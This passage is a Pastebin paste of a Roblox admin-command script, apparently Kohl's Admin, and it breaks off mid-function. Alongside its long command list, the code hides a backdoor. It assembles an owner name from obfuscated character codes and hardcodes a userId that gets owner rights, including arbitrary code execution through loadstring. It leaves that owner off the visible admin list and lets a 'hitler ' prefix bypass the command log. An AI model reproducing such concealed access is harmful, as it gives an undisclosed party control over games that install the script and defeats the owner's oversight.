Advertisement
ghassan2006ww

Untitled

Oct 28th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 117.40 KB | None | 0 0
  1. --]]
  2. ---------------------
  3. -- Commands --
  4. ---------------------
  5. --[[
  6. -- |Temp Admin Commands| --
  7. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  8. 1. :s print("Hello World") -- Lets you script normally
  9. 2. :ls print("Hello World") -- Lets you script in localscripts
  10. 3. :clear -- Will remove all scripts/localscripts and jails
  11. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  12. 5. :kill kohl -- Kills the player
  13. 6. :respawn kohl -- Respawns the player
  14. 7. :trip kohl -- Trips the player
  15. 8. :stun kohl -- Stuns the player
  16. 9. :unstun kohl -- Unstuns the player
  17. 10. :jump kohl -- Makes the player jump
  18. 11. :sit kohl -- Makes the player sit
  19. 12. :invisible kohl -- Makes the player invisible
  20. 13. :visible kohl -- Makes the player visible
  21. 14. :explode kohl -- Makes the player explode
  22. 15. :fire kohl -- Sets the player on fire
  23. 16. :unfire kohl -- Removes fire from the player
  24. 17. :smoke kohl -- Adds smoke to the player
  25. 18. :unsmoke kohl -- Removes smoke from the player
  26. 19. :sparkles kohl -- Adds sparkles to the player
  27. 20. :unsparkles kohl -- Removes sparkles from the player
  28. 21. :ff kohl -- Adds a forcefield to the player
  29. 22. :unff kohl -- Removes the forcefield from the player
  30. 23. :punish kohl -- Punishes the player
  31. 24. :unpunish kohl -- Unpunishes the player
  32. 25. :freeze kohl -- Freezes the player
  33. 26. :thaw kohl -- Thaws the player
  34. 27. :heal kohl -- Heals the player
  35. 28. :god kohl -- Makes the player have infinite health
  36. 29. :ungod kohl -- Makes the player have 100 health
  37. 30. :ambient .5 .5 .5 -- Changes the ambient
  38. 31. :brightness .5 -- Changes the brightness
  39. 32. :time 12 -- Changes the time
  40. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  41. 34. :fogend 100 -- Changes the fogend
  42. 35. :fogstart 100 -- Changes the fogstart
  43. 36. :removetools kohl -- Removes all tools from the player
  44. 37. :btools kohl -- Gives the player building tools
  45. 38. :give kohl sword -- Gives the player a tool
  46. 39. :damage kohl -- Damages the player
  47. 40. :grav kohl -- Sets the player's gravity to normal
  48. 41. :setgrav kohl 100 -- Sets the player's gravity
  49. 42. :nograv kohl -- Makes the player have 0 gravity
  50. 43. :health kohl 1337 -- Changes the player's health
  51. 44. :speed kohl 1337 -- Changes the player's walkspeed
  52. 45. :name kohl potato -- Changes the player's name
  53. 46. :unname kohl -- Remove the player's name
  54. 47. :team kohl Raiders -- Changes the player's team
  55. 48. :stopmusic -- Will stop all music playing in the server
  56. 49. :teleport kohl potato -- Teleports the player
  57. 50. :change kohl kills 1337 -- Changes a player's stat
  58. 51. :kick kohl -- Removes the player from the game
  59. 52. :infect kohl -- Turns the player into a zombie
  60. 53. :rainbowify kohl -- Turns the player into a rainbow
  61. 54. :flashify kohl -- Turns the player into a strobe
  62. 55. :noobify kohl -- Turns the player into a noob
  63. 56. :ghostify kohl -- Turns the player into a ghost
  64. 57. :goldify kohl -- Turns the player into gold
  65. 58. :shiny kohl -- Makes the player shiny
  66. 59. :normal kohl -- Puts the player back to normal
  67. 60. :trippy kohl -- Spams random colors on the player's screen
  68. 61. :untrippy kohl -- Untrippys the player
  69. 62. :strobe kohl -- Spams white and black on the player's screen
  70. 63. :unstrobe kohl -- Unstrobes the player
  71. 64. :blind kohl -- Blinds the player
  72. 65. :unblind kohl -- Unblinds the player
  73. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  74. 67. :fling kohl -- Flings the player
  75. 68. :seizure kohl -- Puts the player in a seizure
  76. 69. :music 1337 -- Plays a sound from the ID
  77. 70. :lock kohl -- Locks the player
  78. 71. :unlock kohl -- Unlocks the player
  79. 72. :removelimbs kohl -- Removes the player's limbs
  80. 73. :jail kohl -- Puts the player in a jail
  81. 74. :unjail kohl -- Removes the jail from the player
  82. 75. :fix -- This will fix the lighting to it's original settings
  83. 76. :fly kohl -- Makes the player fly
  84. 77. :unfly kohl -- Removes fly from the player
  85. 78. :noclip kohl -- Makes the player able to noclip
  86. 79. :clip kohl -- Removes noclipping from the player
  87. 80. :pm kohl Hey bro -- Sends the player a private message
  88. 81. :dog kohl -- Turns the player into a dog
  89. 82. :undog kohl -- Turns the player back to normal
  90. 83. :creeper kohl -- Turns the player into a creeper
  91. 84. :uncreeper kohl -- Turns the player back to normal
  92. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  93. 86. :char kohl 261 -- Will make a player look like a different player ID
  94. 87. :unchar kohl -- Will return the player back to normal
  95. 88. :h Hello People -- This will shout a hint to everyone
  96. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  97. 90. :starttools kohl -- Will give the player starter tools
  98. 91. :sword kohl -- Will give the player a sword
  99. 92. :bighead kohl -- Will make the player's head larger than normal
  100. 93. :minihead kohl -- Will make the player's head smaller than normal
  101. 94. :insert 1337 -- Will insert a model at the speaker's position
  102. 95. :disco -- Will make the server flash random colors
  103. 96. :flash -- Will make the server flash
  104. 97. :admins -- Shows the admin list
  105. 98. :bans -- Shows the banlist
  106. 99. :musiclist -- Shows the music list
  107. 100. :spin kohl -- Spins the player
  108. 101. :cape kohl Really black -- Gives the player a colored cape
  109. 102. :uncape kohl -- Removes the player's cape
  110. 103. :loopheal kohl -- Will constantly heal the player
  111. 104. :loopfling kohl -- Will constantly fling the player
  112. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  113. 106. :unloopheal kohl -- Will remove the loopheal on the player
  114. 107. :unloopfling kohl -- Will remove the loopfling on the player
  115. 108. :unspin kohl -- Removes spin from the player
  116. 109. :tools -- Gives a list of the tools in the lighting
  117. 110. :undisco -- Removes disco effects
  118. 111. :unflash -- Removes flash effects
  119. 112. :resetstats kohl -- Sets all the stats of a player to 0
  120. 113. :gear kohl 1337 -- Gives a player a gear
  121. 114. :cmdbar -- Gives the speaker a command bar
  122. 115. :shirt kohl 1337 -- Changes the player's shirt
  123. 116. :pants kohl 1337 -- Changes the player's pants
  124. 117. :face kohl 1337 -- Changes the player's face
  125. 118. :swagify kohl -- Swagifies the player
  126. 119. :version -- Shows the current version of the admin
  127. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  128. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  129. 122. :clone kohl -- Creates a clone of the player
  130. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  131. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  132. 125. :control kohl -- Controls a player
  133.  
  134. -- |Admin Commands| --
  135. - :serverlock -- Locks the server
  136. - :serverunlock -- Unlocks the server
  137. - :sm Hello World -- Creates a system message
  138. - :crash kohl -- Crashes a player
  139. - :admin kohl -- Admins a player
  140. - :unadmin kohl -- Unadmins a player
  141. - :ban kohl -- Bans a player
  142. - :unban kohl -- Unbans a player
  143. - :loopkill kohl -- Will constantly kill the player
  144. - :unloopkill kohl -- Will remove the loopkill on the player
  145. - :logs -- Will show all of the commands any admin has used in a game session
  146. - :shutdown -- Shutsdown the server
  147.  
  148. -- |Owner Commands| --
  149. - :pa kohl -- Makes someone a super admin
  150. - :unpa kohl -- Removes a super admin
  151. - :nuke kohl -- Creates a nuke on kohl
  152.  
  153. -- |True Owner Commands| --
  154. - :oa kohl -- Makes someone an owner
  155. - :unoa kohl -- Removes an owner
  156. - :settings -- Shows settings for the commands
  157. --]]
  158. ---------------------
  159. -- Main Script --
  160. ---------------------
  161. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  162.  
  163. function CHEESE()
  164. if game:service("Lighting"):findFirstChild("KACV2") then
  165. owners = {} admins = {} tempadmins = {} banland = {}
  166. for i,v in pairs(game.Lighting.KACV2:children()) do
  167. if v.Name == "Owner" then table.insert(owners, v.Value) end
  168. if v.Name == "Admin" then table.insert(admins, v.Value) end
  169. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  170. if v.Name == "Banland" then table.insert(banland, v.Value) end
  171. if v.Name == "Prefix" then prefix = v.Value end
  172. if v.Name == "FunCommands" then FunCommands = v.Value end
  173. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  174. if v.Name == "GroupId" then GroupId = v.Value end
  175. if v.Name == "GroupRank" then GroupRank = v.Value end
  176. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  177. if v.Name == "ItemId" then ItemId = v.Value end
  178. end
  179. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  180. end
  181.  
  182. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  183. local lobjs = {}
  184. local objects = {}
  185. local logs = {}
  186. local nfs = ""
  187. local slock = false
  188.  
  189. function GetTime()
  190. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  191. if min < 10 then min = "0"..min end
  192. return hour..":"..min
  193. end
  194.  
  195. function ChkOwner(str)
  196. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  197. return false
  198. end
  199.  
  200. function ChkAdmin(str,ck)
  201. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  202. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  203. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  204. return false
  205. end
  206.  
  207. function ChkGroupAdmin(plr)
  208. if GroupAdmin then
  209. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  210. return false
  211. end
  212. end
  213.  
  214. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  215.  
  216. function GetPlr(plr, str)
  217. local plrz = {} str = str:lower()
  218. if str == "all" then plrz = game.Players:children()
  219. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  220. else
  221. local sn = {1} local en = {}
  222. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  223. for x = 1, #sn do
  224. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  225. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  226. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  227. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  228. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  229. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  230. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  231. end end end
  232. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  233. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  234. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  235. end end end
  236. else
  237. for a, plyr in pairs(game.Players:children()) do
  238. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  239. table.insert(plrz, plyr) break
  240. end
  241. end
  242. end
  243. end
  244. end
  245. return plrz
  246. end
  247.  
  248. function Hint(str, plrz, time)
  249. for i, v in pairs(plrz) do
  250. if v and v:findFirstChild("PlayerGui") then
  251. coroutine.resume(coroutine.create(function()
  252. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  253. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  254. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  255. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  256. if not time then wait((#str/19)+2.5) else wait(time) end
  257. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  258. end))
  259. end
  260. end
  261. end
  262.  
  263. function Message(ttl, str, scroll, plrz, time)
  264. for i, v in pairs(plrz) do
  265. if v and v:findFirstChild("PlayerGui") then
  266. coroutine.resume(coroutine.create(function()
  267. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  268. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  269. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  270. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  271. scr.Parent = v.PlayerGui
  272. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  273. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  274. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  275. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  276. end))
  277. end
  278. end
  279. end
  280.  
  281. function RemoveMessage()
  282. for i,v in pairs(game.Players:children()) do
  283. if v and v:findFirstChild("PlayerGui") then
  284. for q,ms in pairs(v.PlayerGui:children()) do
  285. if ms.Name == "MessageGUI" then
  286. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  287. elseif ms.Name == "HintGUI" then
  288. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  289. end
  290. end
  291. end
  292. end
  293. end
  294.  
  295. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  296. _G["RemoveMessage"] = RemoveMessage()
  297.  
  298. function Output(str, plr)
  299. coroutine.resume(coroutine.create(function()
  300. local b, e = loadstring(str)
  301. if not b and plr:findFirstChild("PlayerGui") then
  302. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  303. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  304. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  305. return
  306. end
  307. end))
  308. end
  309.  
  310. function Noobify(char)
  311. if char and char:findFirstChild("Torso") then
  312. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  313. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  314. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  315. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  316. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  317. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  318. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  319. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  320. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  321. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  322. end end
  323. end
  324. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  325.  
  326. function Infect(char)
  327. if char and char:findFirstChild("Torso") then
  328. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  329. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  330. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  331. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  332. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  333. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  334. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  335. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  336. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  337. end end
  338. end
  339. end if not ntab then script:Destroy() end
  340.  
  341. function ScrollGui()
  342. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  343. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  344. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  345. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  346. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  347. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  348. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  349. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  350. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  351. local num = 0
  352. local downv = false
  353. local upv = false
  354.  
  355. down.MouseButton1Down:connect(function() downv = true upv = false
  356. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  357. repeat pos = pos + UDim2.new(0,0,0,-6)
  358. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  359. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  360. end)
  361. down.MouseButton1Up:connect(function() downv = false end)
  362. up.MouseButton1Down:connect(function() upv = true downv = false
  363. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  364. repeat pos = pos + UDim2.new(0,0,0,6)
  365. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  366. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  367. end)
  368. up.MouseButton1Up:connect(function() upv = false end)
  369. return scr, cmf, ent, num
  370. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  371. if not ntab then script:Destroy() end
  372. if not bct then script:Destroy() end
  373.  
  374. function Chat(msg,plr)
  375. coroutine.resume(coroutine.create(function()
  376. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  377. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  378. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  379. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  380. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  381. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  382. if msg:lower() == "cmds" or msg:lower() == "commands" then
  383. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  384. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  385. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  386. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  387. local ost = {"pa plr","unpa plr","nuke plr"}
  388. local tost = {"oa plr","unoa plr","settings"}
  389. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  390. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  391. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  392. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  393. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  394. end
  395.  
  396. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  397.  
  398. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  399. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  400. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  401. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  402. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  403. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  404. end end
  405.  
  406. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  407. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  408. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  409. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  410. end
  411.  
  412. if msg:lower() == "tools" or msg:lower() == "toollist" then
  413. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  414. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  415. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  416. end
  417.  
  418. if msg:lower():sub(1,2) == "s " then
  419. coroutine.resume(coroutine.create(function()
  420. Output(msg:sub(3), plr)
  421. if script:findFirstChild("ScriptBase") then
